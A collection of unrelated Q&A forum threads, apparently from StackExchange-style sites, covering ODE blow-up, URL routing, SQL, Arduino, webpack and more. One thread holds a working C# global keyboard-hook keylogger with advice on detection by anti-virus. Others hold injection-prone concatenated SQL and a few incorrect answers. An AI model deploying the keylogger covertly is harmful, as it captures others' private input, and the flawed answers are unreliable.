odes = [ode1; ode2]
S = dsolve(odes)

xSol(t) = S.x
ySol(t) = S.y

[xSol(t), ySol(t)] = dsolve(odes)

cond1 = x(0) == x0;
cond2 = y(0) == y0;
conds = [cond1; cond2];
[uSol(t), vSol(t)] = dsolve(odes,conds)

fplot(xSol)
hold on
fplot(ySol)
grid on
legend('xSol','ySol','Location','best')

A: Firstly, the MATLAB program outputs the message

Warning: Explicit solution could not be found.

Basically it means that an attempt to find a solution as a closed-form expression was unsuccessful. It doesn't mean that the solution does not exist; moreover,  for some value $\epsilon$ > 0, there exists a unique solution on the interval $t\in[-\epsilon,\epsilon]$ (by the Picard–Lindelöf theorem).
Consider the initial value problem
\begin{equation}\tag{1}
\left\{\begin{array}{lll}
\dot x&=&x^2\\
\dot y&=&y^2,\\
\end{array}
\right.\qquad
\left\{\begin{array}{l}
x(0)=x_0\\
y(0)=y_0,
\end{array}
\right.
\end{equation}
$x_0>0$, $y_0>0$. Its solution is
$$
x_{(1)}(t)=-\frac{1}{t-\frac{1}{x_0}},\qquad y_{(1)}(t)=-\frac{1}{t-\frac{1}{y_0}}.
$$
This solution does not exist on $[0,\infty)$ because it tends to $+\infty$ at $t\to1/x_0^{-}$ and $t\to1/y_0^{-}$.
The solution $x_{(2)}(t)$, $y_{(2)}(t)$ of the original initial value problem
\begin{equation}\tag{2}
\left\{\begin{array}{lll}
\dot x&=&x^2+y\\
\dot y&=&y^2+x,\\
\end{array}
\right.\qquad
\left\{\begin{array}{l}
x(0)=x_0\\
y(0)=y_0
\end{array}
\right.
\end{equation}
can not be expressed as a closed-form expression, but we know that in some interval $(0,T)$ (before it tends to +$\infty$)
$$
\dot x_{(2)}(t)=x^2+y>x^2=\dot x_{(1)}(t)>0,
$$
$$
\dot y_{(2)}(t)=y^2+x>y^2=\dot y_{(1)}(t)>0,
$$
** Update **
($x(t)>0$ and $y(t)>0$ because they are greater than the solution of the
initial value problem $\dot x=y$, $\dot y= x$, $x(0)=x_0$, $y(0)=y_0$ which is
$x(t)= x_0\cosh t+y_0\sinh t$, $y(t)= x_0\sinh t+y_0\cosh t)$
** End of update **
thus,
$$
x_{(2)}(t)= x_0+\int_0^t \dot x_{(2)}(t)\,dt>x_0+\int_0^t \dot x_{(1)}(t)\,dt=
 x_{(1)}(t)=
-\frac{1}{t-\frac{1}{x_0}}
$$
$$
y_{(2)}(t)= y_0+\int_0^t \dot y_{(2)}(t)\,dt>y_0+\int_0^t \dot y_{(1)}(t)\,dt=
 y_{(1)}(t)=
-\frac{1}{t-\frac{1}{y_0}}.
$$
The components of the solution of the problem (2) are greater than the functions that tend to $+\infty$ in finite time, therefore, the solution doesn't exist on $[0,\infty)$.

A: Since the right hand sides of your system are even analytic functions of $x$ and $y$ it follows that for any initial point $(x_0,y_0)\in\bigl({\mathbb R}_{>0}\bigr)^2$there is an $h>0$ and a solution
$$t\mapsto\bigl(x(t),y(t)\bigr)\quad (0\leq t<h),\qquad x(0)=x_0, \ y(0)=y_0$$
of the given IVP. But such a solution cannot live forever, because it explodes in finite time.
Proof. By inspection one verifies that $x(t)>0$, $y(t)>0$ for all $t\geq0$, hence
$$x'(t)> x^2(t)\qquad(t\geq0)\ .$$
It follows that
$$\int_0^t{x'(\tau)\over x^2(\tau)}\>d\tau>\int_0^t 1\>d\tau=t\ ,$$
which expands to
$${1\over x_0}-{1\over x(t)}>t\ ,$$
or
$$x(t)>{1\over{1\over x_0}-t}\ .$$
This shows that the solution will explode before time $T:={1\over x_0}$.

A: Given the system
$x' = x^2 + y,  \tag 1$
$y' = y^2 + x,  \tag 2$
we define the vector field
$\vec X(x, y) = \begin{bmatrix} x^2 + y \\ y^2 + x \end{bmatrix}, \tag 3$
which is defined on all of $\Bbb R^2$.  Consider the set
$\Omega = \{ (x, y) \in \Bbb R^2 \mid x \ge x_0, y \ge y_0 \} \subset \Bbb R^2; \tag 3$
the boundary $\partial \Omega$ of $\Omega$ is
$\partial \Omega = \{ (x, y_0) \mid x \ge x_0 \} \cup \{ (x_0, y) \mid y \ge y_0 \};  \tag 4$
we see that $\partial \Omega$ consists of two half-lines emanating from $(x_0, y_0)$, each one parallel to one of the $x$- and $y$-axes, and each extending indefinitely in the positive direction.
On $\partial \Omega$, we have
$x' = x^2 + y \ge x_0^2 + y_0 > 0, \tag 5$
and
$y' = y^2 + x \ge y_0^2 + x_0 > 0; \tag 6$
it follows from (5) and (6) that $X(x, y)$ points into $\Omega$ on $\partial \Omega$, and from this observation we conclude that any trajectory initialized on $\partial \Omega$ enters $\Omega$ immediately, and never leaves it;  that is, if $x(t_0), y(t_0) \in \partial \Omega$, then $(x(t), y(t)) \in \Omega$ for all $t > t_0$; likewise if $(x(t_0), y(t_0)) \in \Omega$, then $(x(t), y(t)) \in \Omega$ for all $ t > t_0$ as well.
Now let $(x_1, y_1) \in \Omega$, and consider the integral curve $\gamma(t) = (x(t), y(t))$ where $(x(t_0), y(t_0)) = (x_1,  y_1)$; we have seen that $\gamma(t) \in \Omega$ for all $t \ge t_0$: thus,  on $\gamma(t)$,
$x' = x^2 + y \ge x^2 + y_0, \tag 7$
from which
$\dfrac{x'}{x^2 + y_0} \ge 1; \tag 8$
thus, in a spirit similar to the arguments given by Christian Blatter and AVK,
$\displaystyle \int_{t_0}^t \dfrac{x'(s)}{x^2(s) + y_0}ds \ge \int_{t_0}^t ds = (t - t_0); \tag 9$
we have
$\displaystyle \int_{t_0}^t \dfrac{x'(s)}{x^2(s) + y_0}ds = \dfrac{1}{\sqrt{y_0}}\tan^{-1} \dfrac{x(t)}{\sqrt{y_0}} - \dfrac{1}{\sqrt{y_0}}\tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}}$
$= \dfrac{1}{\sqrt{y_0}}(\tan^{-1} \dfrac{x(t)}{\sqrt{y_0}} - \tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}}), \tag{10}$
and so, via (9),
$\dfrac{1}{\sqrt{y_0}}(\tan^{-1} \dfrac{x(t)}{\sqrt{y_0}} - \tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}}) \ge t - t_0, \tag{11}$
and thus
$\tan^{-1} \dfrac{x(t)}{\sqrt{y_0}} - \tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}} \ge \sqrt{y_0}(t - t_0), \tag{12}$
whence
$\tan^{-1} \dfrac{x(t)}{\sqrt{y_0}} \ge  \sqrt{y_0}(t - t_0) + \tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}} \tag{13}$
and thus
$x(t) \ge \sqrt{y_0} \tan(\sqrt{y_0}(t - t_0) + \tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}}), \tag{14}$
the direction of the inequalities being preserved in (11)-(14) since $\tan$, $\tan^{-1}$, etc., are monotonically increasing functions of their respective arguments.
We note that for $x(t_0) \ge x_0$,
$0 < \tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}} < \dfrac{\pi}{2}, \tag{15}$
thus if we set
$t_{max} = t_0 + \dfrac{1}{\sqrt{y_0}}(\dfrac{\pi}{2} - \tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}}) \tag{16}$
we see that the solution $x(t)$ cannot possibly be continued as far as $t_{max}$, since from (14)
$x(t) \ge \sqrt{y_0} \tan(\sqrt{y_0}(t - t_0) + \tan^{-1} \dfrac{x(t_0)}{\sqrt{y_0}}) \to \infty \; \text{as} \; t \to t_{max}^-; \tag{17}$
the solution "blows up" in finite time.


text:
Q: Какой алгоритм мне лучше использовать? Пишу свою библиотеку на python для создания веб-приложений. Сейчас делаю классы и функции, которые должны сравнивать запрашиваемый url, и url который записан в специальном файле (urls.py). Проблема с динамическими путями, не знаю как лучше распарсить строку и вытащить из неё данные. Допустим у есть такой путь:
/api/v1/news/detail/int:id/

Этот пусть записан в файле urls.py. Последний параметр int:id означает, что на этом месте может быть любое число типа integer. id - это название аргумента в который нужно передать значение в функцию (не играет никакой роли сейчас).
Представим, что на сервер поступает запрос по такому пути:
/api/v1/news/detail/1/

Нужно проверить, чтобы он соответствовал пути в urls.py. С этим проблем нет, сервер при запуске составляет регулярные выражения для всех путей и при запросе проверяет, соответствует ли запрашиваемый путь одному из регулярных выражений. Вопрос как вытащить из этого пути именно значение id? Я конечно знаю как, крутить вертеть туда сюда вырезая всё ненужное и сплитить. Сейчас пришёл к такому варианту - берётся оба пути /api/v1/news/detail/1/ и /api/v1/news/detail/int:id/. к обоим применяется метод split. Получаю 2 списка. Удаляю из них одинаковые элементы. Оставшиеся элементы по порядку попарно соединяю в словарь и получаю {'id': '1'}. Но мне кажется это не совсем быстро и есть какой-то более быстрый и элегантный способ. Я не прошу код, просто натолкните на мысль, как можно сделать лучше. Если есть какие-то повторяющиеся действия (например составить регулярные выражения), то можно их можно выполнять до запуска сервера и сохранять в переменные необходимую информацию.
P.S. Не нужно мне предлагать всякие джанги и aiohttp, не хочу я их использовать! НЕ ХОЧУ!!!

A: m = re.match(r'(?P<first>\w+) (?P<last>\w+)', 'Jane Doe')
m.groupdict()
{'first': 'Jane', 'last': 'Doe'}


text:
Q: BIas-Variance for classification I am learning about Bias-Variance for classification. It is mentioned that Bias is the distance of main prediction (mean for regression, mode for classification) and variance is the average disagreement of main prediction from each prediction.
What is meant by average prediction here? Does that mean that we learn a classifier on particular sample from population and then calculate predictions for other samples from same population?


text:
Q: Logarithm function from graph (word problem) I was hoping to find some hint to solve this:
There is an internet company that wants to price their service $30/month, which will include 25GB on their package. After 25GB, the price will increase logarithmically until 60 dollars for 60GB
I know the Y axis would be price and X axis would be the GB..
Two known point is (25, 30) which is starting price and monthly allowance of GB, and (60, 60). There is a logarithmic curve between those two points. How do I find the equation for this? It is supposed to be in the form of f(x) = a + b ln |x|

A: You need to define a piecewise function K(u) where u is the data usage in GB such that:
         { 25       | u<=25;    }
    K(u)={ 25+f(u)  | 25<u<=60; }
         { 60       | u>60      }

Here, f(u) is the function that you need to find; i.e.  y(x)=a + b ln(x)
Then you would solve for b the following equations:
    (1) y1=b*ln(x1)
    (2) y2=b*ln(x2)

From there it's just a matter of plugging and chugging to evaluate for b.


text:
Q: VNC Server which attaches to current session I use Debian 9 + fluxbox so there are no 1click enable remote desktop solutions:
http://www.penguintutor.com/linux/tightvnc
The problem with tightvnc, that (at least by default) it will spawn a completely new X session. I don't want that, rather to connect to my currently opened Xorg+fluxbox desktop on my laptop.
Any ways to do this? Am I forced to use commercial software like RealVNC?

A: x11vnc is able to do this by default and is available in the Debian 9 repo. It can be a bit of work to set up but is designed to connect to the X11 session rather than a server.


text:
Q: Why does "garbage" data appear to not be meaningful? I have always wondered why garbage data appears to not be meaningful. For clarity, what I mean by "garbage" is data that is just whatever happens to be at a particular memory address, that you have access to because of something like forgetting to initialize a variable.
For example, printing out an unused array gave me this:
@°õN)0ÿÿl¯ÿ¯ÿ ``¯ÿ¯ÿ  @`¯ÿø+))0 wy¿[d

Obviously, this is useless for my application, but it also seems like it is not anything useful for any application. Why is this? Is there some sort of data protection going on here perhaps?

A: As you state in your question:

... "garbage" is data that is just whatever happens to be at a particular memory address, that you have access to because of something like forgetting to initialize a variable.

This implies that something else used to be in that memory before you got to use it for your variable. Whatever used to be there may or may not have any relation to how you wish to use the variable. That is, most languages do not force memory used for one type of object to be reused for the exact same type.
This means, if memory was used to store a pointer, and then released, that same memory may be used to store a string. If the pointer value was read out as if it was a string, something that looks like garbage may appear. This is because the bytes used to represent a pointer value are not restricted to the values that correspond to printable ASCII values.
A common way to detect a buffer overrun has occurred in a program is to examine a pointer value and see if it contains printable ASCII values. In this case, the user of the memory as a pointer sees junk, but in this case it is "printable".

A: Of course memory is never garbage, unless you make a conscious effort. After all, you are on a deterministic machine, even if it doesn't always seem like it. (Of course, if you interprete arbitrary bytes as text then it's unlikely that you see yourself as ASCII art, although you would deserve it.)
That was the reason for one of the worst bugs in history, quite recently, cf. https://xkcd.com/1354/. Where do you live to have missed it?


text:
Q: Passing an array to a function and pushing values to it using AngularJS I am trying to populate Arrays dynamically from local storage SQLite Database Tables when a controller is loaded.
I have several Arrays defined as follows (small sample shown):
$scope.myArray1 = [];
$scope.myArray2 = [];

I then create an array with the table name/array name associateion e.g. my_table_1 should be queried and then be written to $scope.myArray1. This looks as below (small sample shown):
$scope.tableArrayAssociation = [{
    tablename: "my_table_1",
    arrayname: "myArray1"
}, {
    tablename: "my_table_1",
    arrayname: "myArray2"
}];

To do this I have a function that calls a SQLite local storage database table and reads values from it.For my function I pass the table name to query and array to write the data to as function parameters.
I can query the required table no problem from the passed parameter, but when I try and insert into the array I get an error. Below is said function.
onDeviceReady
function onDeviceReady()
{
    queryLocalStorageTablesAndBuildArrays($scope.tableArrayAssociation);
}

Loop through each item, query the table and push to array.
function queryLocalStorageTablesAndBuildArrays(tableArrayAssociation) {
     for (var i = 0; i < $scope.tableArrayAssociation.length; i++) {
        queryTable($scope.tableArrayAssociation[i].tablename, $scope.tableArrayAssociation[i].arrayname);
}

function queryTable(tableName, arrayName) {
    var sql = 'SELECT * FROM ' + tableName + ''; // OK
    db.transaction(function (tx) {
        tx.executeSql(sql, [],
            (function (arrayName) {
                return function (tx, results) {
                    querySuccess(tx, results, arrayName);
                };
        })(arrayName), errorCB); // OK
    });
}

function querySuccess(tx, results, arrayName) {
    var len = results.rows.length; // OK

    for (var i = 0; i < len; i++) {
        $scope[arrayName].push(results.rows.item(i)); // Not working here
        arrayName.push(results.rows.item(i)); // Also tried this, but arrayName.push is not a function error thrown
    }
}

arrayName.push(...) not working because I am just trying to push to a name (String) and not an actual Array. Showing a log for $scope[arrayName] shows it is an object but that the push didnt work - value = undefined.
Can anyone please suggest a solution to this? How do I assign the queried tables values to its corresponding array to populate values in my view?


text:
Q: firmatajs, multiple Arduinos give timeout (johnny-five, cylonjs) I have two Arduino unos flashed with the standard StandardFirmata and i'm trying the multi board demo with a simple node project (johnny-five npm package). Both arduinos work when I try them separately. with the following code:
var five = require("johnny-five");

var boardOne = new five.Board({ id: "A", port: "/dev/cu.usbmodem1d1141" });
boardOne.on("ready", function(){
    var led = new five.Led({
    pin: 13,
    board: this
    });
    led.on();
});

node index.js
1418288836782 Connected /dev/cu.usbmodem1d1141
1418288836784 Repl Initialized
>>

When trying the multi board example I get:
Device or Firmware Error A timeout occurred while connecting to the Board.
Please check that you've properly flashed the board with the correct firmware.
var five = require("johnny-five");

var ports = [
    { id: "A", port: "/dev/cu.usbmodem1d1141" },
    { id: "B", port: "/dev/cu.usbmodem1d1131" }
];

new five.Boards(ports).on("ready", function(){
    var led = new five.Led({
        pin: 13,
        board: this[0]
    });
    led.on();
});

Update #1:
Out of curiosity I tried to switch around the usb cables and got some different results:
1) Only one arduino seems to connect:
1418318698635 Device(s) /dev/cu.usbmodem1a1231,/dev/cu.usbmodem1a1241
1418318698642 Device(s) /dev/cu.usbmodem1a1241
1418318701849 Connected /dev/cu.usbmodem1a1231
1418318701850 Board ID:  A

or 2) I get an error:
.../johnny-five-master/node_modules/firmata/lib/firmata.js:246
board.pins[pin].analogChannel = currentValue;
                              ^
TypeError: Cannot set property 'analogChannel' of undefined
at Object.SYSEX_RESPONSE.(anonymous function) [as 106]
(.../johnny-five-master/node_modules/firmata/lib/firmata.js:246:35)

Update #2:
I did the above test with cylon.js and got the same results. Still no clue how to fix this :(
One arduino works fine, multiple do nothing. (Maybe an osx related problem?)
Update #3:
I added some logs in the johnny-five code and it's definitely a connection problem(I think!?). The second Arduino never responds. I switched the order of the arduinos and get the same result (first one connects, the other fails to respond). The connection is asynchronous, so maybe it gets blocked somewhere. The lights on both arduinos definitely show some action is going on.
node index.js
err: undefined --- type: connect --- io: /dev/tty.usbmodem1d1111
err: undefined --- type: connect --- io: /dev/tty.usbmodem1d1121
err: undefined --- type: ready --- io: /dev/tty.usbmodem1d1111
1418467187527 Connected /dev/tty.usbmodem1d1111
1418467187527 Board ID:  A
1418467284327 Device or Firmware Error A timeout occurred while connecting to the Board.
Please check that you've properly flashed the board with the correct firmware.

A: Thanks to @izar for posting this and then bringing the question to us in the Johnny-Five gitter channel. From there, Divan Visagie (from Johnny-Five core team) worked to triage the bug and was able to confirm via reproduction. This revealed a bug in Firmata.js, where the options passed to Serialport were being extended by that class. Since the defaults object was reused and Object.assign is not a "deep" operation, the changes were being made to a reference, not a copy. The result was that the second initialization was getting a set of "defaults" that were loaded up with the first instance's own data. The issue was fixed by changing Firmata to use fresh defaults for every instance. Here's the patch


text:
Q: Logical array slicing into sub-arrays in python I want to ask you if someone of you has an idea on how to slice a logical array into sub-arrays in Python. As an example if I have the following array [111 00 10 11] I want to slice into [111],[1],[11] discarding the zeros.
2- how to get also the original indices of ones associated with the sliced sub-arrays,i.e, idx1 = [0,1,2] idx2 =[5] idx3 =[7,8]
Thank you in advance.
Fethi

A: [int(x) for x in '[111 00 10 11]'.strip('][]').replace('0','').split(' ') if x!='']

This should help you out

A: With loop or list comprehension:
Loop
x = [111, 00, 10, 11]

result = []

for i in x:
    if i:
        result.append([i])

print(result)

List comprehension
x = [111, 00, 10, 11]

result = []

result = [[i] for i in x if i]

print(result)


text:
Q: If $A^2 + A +I = 0$, then A is diagonalizable. True or false? Let $A$ be a real square matrix. We assume $A^2 + A +I = 0$. Then A is diagonalizable.
Is this statement true or false? Prove it.
I don't know which could be the first step to prove that. Could you give me any hint?
Thanks in advance.

A: By definition, the minimal polynomial of $A$ divides $x^2+x+1$. But this last polynomial is irreducible over $\Bbb R$. So $m_A(x) = x^2+x+1$ and $A$ is not diagonalizable, as $m_A(x)$ is not the product of distinct linear factors.

A: $A$ cannot be diagonalizable. If $P^{-1}AP=D$, where $D$ is diagonal matrix, one easily derives that $D^2+D+I=0$, so for every element $\lambda$ on the diagonal we would have $\lambda^2+\lambda+1=0$. However, this equation has no real solutions.

A: Hint:
Consider $A=\pmatrix{-\dfrac12&-\dfrac{\sqrt3}2\\\dfrac{\sqrt3}{2}&-\dfrac12},$ which rotates $120^\circ$.

A: Yes, A is diagonalizable with non-real eigenvalues.
For example, consider $$A=\begin{bmatrix} -2 & -3 \\ 1 & 1 \end{bmatrix}$$that satisfies $A^2+A+I=0$,
it is diagonalizable. It being non-symmetric (non-Hermitian) has non-real eigenvalues as $w, w^2$ where $w$ is one cube root of unity.


text:
Q: How can I use where function using insert into module My command is error in my sql command where clause, how can I handle it? any suggestion or any help?
This is my Error:
syntax to use near 'WHERE controlNumber = '' at line 1
cmd = New Odbc.OdbcCommand("INSERT INTO alamnotice (correctivePreventive) VALUES('" & Trim(txtremarks.Text.TrimEnd()) & "') WHERE controlNumber ='" & Trim(Form1.txtcontrolNumber.Text.TrimEnd()) & "'", con)

cmd.ExecuteNonQuery()

A: You havent said what the error is, it could be something to do with Disconnect, but I suspect it is a SQL syntax error because INSERT doesnt use a WHERE (you are inserting new data).
Here is a way to use params to make the code easier to read and avoid SQL injection attacks:
Dim SQL As String = "INSERT INTO alamnotice (correctivePreventive,
             sectionInCharge, shiftInCharge, SectionHead, status,
             dateResponded, remarksSurrendingAlarm, Remarks)
             VALUES ("@p1", "@p2", "@p3", "@p4", "@p5", "@p6", "@p7", "@p8")"

' I am assuming OleDB, but much the same for others
'    be sure to add the values in the same order with OleDB
Using cmd As New OleDbCommand(SQL, dbCon)
  cmd.Parameters.AddWithValue("@p1", txtcorPrevAction.Text )
  cmd.Parameters.AddWithValue("@p2", txtCause.Text)
  cmd.Parameters.AddWithValue("@p3", cmbstatus.Text)
  ' etc

  cmd.ExecuteNonQuery()
End Using

for non string columns, such as a date, convert the textbox text:
cmd.Parameters.AddWithValue("@pX", COnvert.ToInt32(txtSomeValue.Text))

the code is easier to read and if you arent gluing ticks and stuff into a string, there are far fewer string format errors like a missing '

A: try this one :
UPDATE alamnotice SET correctivePreventive = '" & Trim(txtremarks.Text.TrimEnd()) & "'  WHERE controlNumber ='" & Trim(Form1.txtcontrolNumber.Text.TrimEnd()) & "'"


text:
Q: Passing the image to the default wallpaper Application through intent We are trying to set the downloaded image (and stored inside galley under our own folder) as wallpaper using our application, and its working using the below code.
public void Set_Current_wallpaper() {
    File f = new File(mCurrentWallpaperPath); // mCurrentWallpaperPath is Our folder inside gallery
    Uri contentUri = Uri.fromFile(f);
    Intent intent = new Intent(Intent.ACTION_ATTACH_DATA);
    intent.addCategory(Intent.CATEGORY_DEFAULT);
    intent.setDataAndType(contentUri, "image/*");
    intent.putExtra("mimeType", "image/*");
    startActivity(intent);
}

Problem is right now when above code is running below is how set wallpaper application screen looks like, But if we directly open the image from gallery and set as wallpaper, this is the wallpaper set screen looks like. Why is it opening in different way? Attaching the screens Actual vs Expected here.
Actual Result

Expected Result

A: Have you tried WallpaperManager?
WallpaperManager wallpapermgr = WallpaperManager.getInstance(this);
wallpapermgr.setBitmap(yourbitmap);


text:
Q: How to properly capture user's keystrokes in C#, i.e. respecting SHIFT key etc I have written the following C# program to capture the user's keystrokes.
It works perfectly, except that all keys are logged as lower-case without taking the SHIFT key into account (see below).
I have read all of the Win32 API's documentation. Still I much be missing something.
How can I correct this program to log keystrokes properly?
If I enter HelloWorld!!!, the following keys are output in log.txt:
h
e
l
l
o
w
o
r
l
d
1
1
1

I.e., it does not consider SHIFT, which is the purpose of GetKeyboardState()?
The program:
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;

namespace CSharpKeyLogger
{
    public static class Program
    {
        [DllImport("user32.dll")]
        private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll")]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll")]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int GetKeyboardState(byte[] keystate);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int MapVirtualKey(uint uCode, int uMapType);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;

        private const int MAPVK_VK_TO_VSC = 0;

        private const int BUFF_SZ = 4;

        private const string logFileName = "log.txt";
        private static StreamWriter logFile;

        private static HookProc hookProc = HookCallback;
        private static IntPtr hookId = IntPtr.Zero;

        public static void Main()
        {
            logFile = File.AppendText(logFileName);
            logFile.AutoFlush = true;

            hookId = SetHook(hookProc);
            Application.Run();
            UnhookWindowsHookEx(hookId);
        }

        private static IntPtr SetHook(HookProc hookProc)
        {
            IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
            return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
        }

        private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                uint vkCode = (uint)Marshal.ReadInt32(lParam);

                byte[] kb = new byte[256];
                GetKeyboardState(kb);

                StringBuilder buf = new StringBuilder(BUFF_SZ + 1);

                switch(ToUnicode(vkCode, (uint)MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), kb, buf, BUFF_SZ, 0))
                {
                    case -1:
                        break;
                    case 0:
                        break;
                    case 1:
                    case 2:
                    case 3:
                    case 4:
                        logFile.WriteLine(buf.ToString());
                        break;
                }
            }

            return CallNextHookEx(hookId, nCode, wParam, lParam);
        }
    }
}

A: You will need to check modifier keys by yourself:
Use GetAsyncKeyState
    [DllImport("user32.dll")]
    static extern long GetAsyncKeyState(uint nVirtKey);

Then you will need to figure out which modifier key is pressed while you obtain the other keys. In your code you could do it like this:
 var t = buf.ToString();
 //  > 1 for the condition is working there are certain values for keydown/keypressed etc. just example!
 var shifted = GetAsyncKeyState((uint)Keys.LShiftKey) > 1
               || GetAsyncKeyState((uint)Keys.RShiftKey) > 1;
 if (shifted)
      t = t.ToUpper();
 Console.Write(t);

If you try to create a keylogger (assuming for good things) don't use
  hooks as they can be easily detected by other programs i.e. most
  anti-virus software - making a bad impression of your program.


text:
Q: What input does the Exchange get-mailbox command accept? Please bear with me if this question sounds too stupid..  but I am very confused as what does the Exchange get-mailbox command accepts as the identity input.  According to Microsoft's documentation, (http://technet.microsoft.com/en-us/library/aa998579(v=exchg.80).aspx) the identity parameter can either be alias, smtp or display name, which makes perfect sense.
However, I have a teamate, in a different office, can use the SamAccountName of accounts as the identity input to the get-mailbox command!! The SamAccountName does not resemble none of the alias, smtp, nor the display name.... and this really confuses me.  My teamate has no clue why that works for him too.
Does anyone have a good understanding of how does the get-mailbox works to retrieve the information?
Thanks you very much.

A: My opinion is that Exchange (@ least from version 2003) resolve sAMAccountName to mailbox recipient name like it does in the to: field in a new email from Outlook in a domain environment, but I can't find an official document from microsoft

A: Have a look at the documentation for the -Identity parameter here: http://technet.microsoft.com/en-us/library/bb123685.aspx


text:
Q: How can I prevent shift-delete from cutting in Windows? I want to prevent Shift-delete from putting the selected stuff to the buffer - it overwrites what I already have in the clipboard, which is a problem, because I always use Ctrl+X for cutting and Shift+Delete only happens when I'm editing stuff and just want to delete it (shift remains pressed after selecting something).

A: * SOLUTION *
I just discovered this problem today while trying to figure out why the 'delete' key would sometimes 'copy to clipboard'.  So far the only solution I've found is to use AutoHotKey (free).
So I thought I would post some basic setup instructions for anyone else that's interested in a solution to this problem:
First, install AutoHotKey, run it and allow it to create and open the example/default AutoHotkey.ahk script when it prompts you.  Add the following to the script:
+Delete::
KeyWait Shift
Send {Delete}

I'm not sure but you may have to "reload" the script before it starts working (I reloaded before testing).  To reload, bring the AutoHotKey app to the foreground and press Ctrl+R (or click File -> Reload Script).
If you're happy with the results then you'll probably want to setup AutoHotKey to run automatically on startup.  This is done by selecting the AutoHotkey.ahk file (in your 'My Documents' folder) and then going to your startup folder (C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) and clicking "Paste Shortcut" from the "Edit" menu (Press Alt+E if you don't see a menu bar).
In testing, this fix worked great for me on Windows 7.  I'll be posting this same solution under my own post but since I'm a new user it won't let me answer my own question yet.

A: Try using Backspace. If Shift is still held down, it will still work and the selected text will be deleted without affecting what's in the clipboard.

A: Slight improvement to the above response provided by Jeremy:
+Delete::
    tempClipboard := Clipboard
    Send +{Delete}
    Clipboard = %tempClipboard%
    VarSetCapacity(tempClipboard, 0)
Return

This will disable the keyboard shortcut from cutting text, but it will still work in other cases, such as deleting a file without first sending it to the recycling bin.


text:
Q: Official Microsoft Project installer Where can I find the official Microsoft Project installer that is not an ISO file?
I already have a license key.
I'm just looking for something like an .EXE or .MSI or .MSM where I can just double click and install it.

A: Take a look at the How to extract the contents from an .ISO file without burning the .ISO to disc. article which explains how to extract the content.


text:
Q: Webpack 4 css-loader cannot resolve font Webpack/css-loader is throwing the error:
ERROR in ./src/styles/global.css (./node_modules/css-loader??ref--11-1!./node_modules/postcss-loader/lib!./src/styles/global.css)
[React]     Module not found: Error: Can't resolve 'expert-sans-light.woff' in '/Users/MyUser/git/as3_UI/React/src/styles'

This is the webpack config:
{
  entry: { app: APP_DIR + '/index.js' },
  output: {
    path: BUILD_DIR,
    filename: 'assets/app/app.js',
    chunkFilename: 'assets/app/[name].bundle.js',
    publicPath: '/ecom/as2/UI/'
  },
  plugins: [
    new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/),
    new CleanWebpackPlugin(),
    new MiniCssExtractPlugin({
      // Options similar to the same options in webpackOptions.output
      // both options are optional
      path: BUILD_DIR,
      filename: 'assets/css/[name].css',
      chunkFilename: 'assets/css/[name].bundle.css'
    }),
    new CopyWebpackPlugin([{ from: 'src/index.html' }])
  ],
  module: {
    rules: [
      {
        test: /\.(png|jpg)$/,
        use: 'url-loader?limit=100000&name=/fonts/[name].[ext]'
      },
      {
        test: /\.woff$/,
        use:
          'url-loader?mimetype=application/font-woff&name=/fonts/[name].[ext]'
      },
      {
        test: /\.svg$/,
        use: 'url-loader?mimetype=image/svg+xml&name=/fonts/[name].[ext]'
      },
      {
        test: /\.ttf/,
        use: 'url-loader?mimetype=application/font-ttf&name=/fonts/[name].[ext]'
      },
      {
        test: /\.woff2$/,
        use:
          'url-loader?mimetype=application/font-woff2&name=/fonts/[name].[ext]'
      },
      {
        test: /\.[ot]tf$/,
        use:
          'url-loader?mimetype=application/octet-stream&name=/fonts/[name].[ext]'
      },
      {
        test: /\.eot$/,
        use:
          'url-loader?mimetype=application/vnd.ms-fontobject&name=/fonts/[name].[ext]'
      },
      {
        test: /\.css$/,
        use: [
          MiniCssExtractPlugin.loader,
          {
            loader: 'css-loader',
            options: {
              importLoaders: 1,
              modules: true,
              localIdentName: '[path]__[name]__[local]',
              sourceMap: true
            }
          },
          { loader: 'postcss-loader' }
        ]
      }
    ]
  },

  resolve: {
    extensions: ['.js', '.jsx', '.css', '.less']
  },
  // optimization
  optimization: {
    splitChunks: {
      cacheGroups: {
        default: false,
        vendors: false,
        vendor: {
          // name of the chunk
          name: 'vendor',
          // async + async chunks
          chunks: 'all',
          // import file path containing node_modules
          test: /node_modules/,
          // priority
          priority: 20
        },
        // common chunk
        common: {
          name: 'common',
          minChunks: 2,
          chunks: 'async',
          priority: 10,
          reuseExistingChunk: true,
          enforce: true
        }
      }
    }
  }
};

All the threads I've seen on this point to using url-loader to fix this issue, but that's already in the webpack config. I'm not sure why css-loader cannot find the font file that is right next to the css file

A: To load font you have to use file-loader
